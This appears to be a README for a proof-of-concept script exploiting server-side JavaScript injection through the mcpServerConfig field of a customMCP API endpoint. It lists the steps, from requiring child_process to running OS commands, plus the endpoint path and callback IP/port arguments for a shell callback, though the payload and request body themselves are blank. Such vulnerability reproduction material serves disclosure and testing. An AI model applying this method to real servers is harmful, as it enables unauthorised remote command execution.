The issue comes from how inputs.mcpServerConfig is processed: this value is interpreted in a way that allows server-side JavaScript execution. In practice, an authenticated attacker can inject an expression that calls child_process and runs an OS command.

Exploitation Mechanism

The exploitation flow is:

1. Build a request to the customMCP endpoint.
2. Put a malicious JavaScript expression in mcpServerConfig.
3. Trigger process.mainModule.require('child_process').
4. Execute an OS command (exec/execSync).

If accepted, the server executes the command in its system context.

How This PoC Works (poc.py)

The script takes four arguments:

• -d/--domain: target domain
• -lh/--host: callback IP
• -lp/--port: callback port
• -A/--api: Bearer API token

Then it:

1. Builds the vulnerable URL: http://<domain>/api/v1/node-load-method/customMCP
2. Adds the Authorization: Bearer <token> header
3. Prepares a callback shell command
4. Injects that command into a JS expression:

5. Sends this JSON:

6. Prints the HTTP status and raw response for validation.

Why This PoC Is Better (vs EDB 52440)

Compared to the EDB PoC (which performs email/password login, uses browser-like headers, and runs a free-form --cmd), this script is better for pure PoC validation:

1. More direct: no login flow and less unnecessary HTTP noise.
2. Lower breakage surface: fewer steps tied to frontend/auth config.
3. CI-friendly automation: simple arguments and quick output.
4. Clearer validation: status + body are printed immediately.
5. Focused on the core CVE path: mcpServerConfig injection and server-side execution.

In short: the EDB script is a more generic offensive demo, while this PoC is more targeted for technical reproducibility.

Current Limitations

• Assumes a valid API token already exists.
• No https mode or certificate handling.
• No retry/backoff logic.
• Callback command is hardcoded (not yet parameterized via --cmd).

Responsible Use

Test only on systems you own or where you have explicit authorization.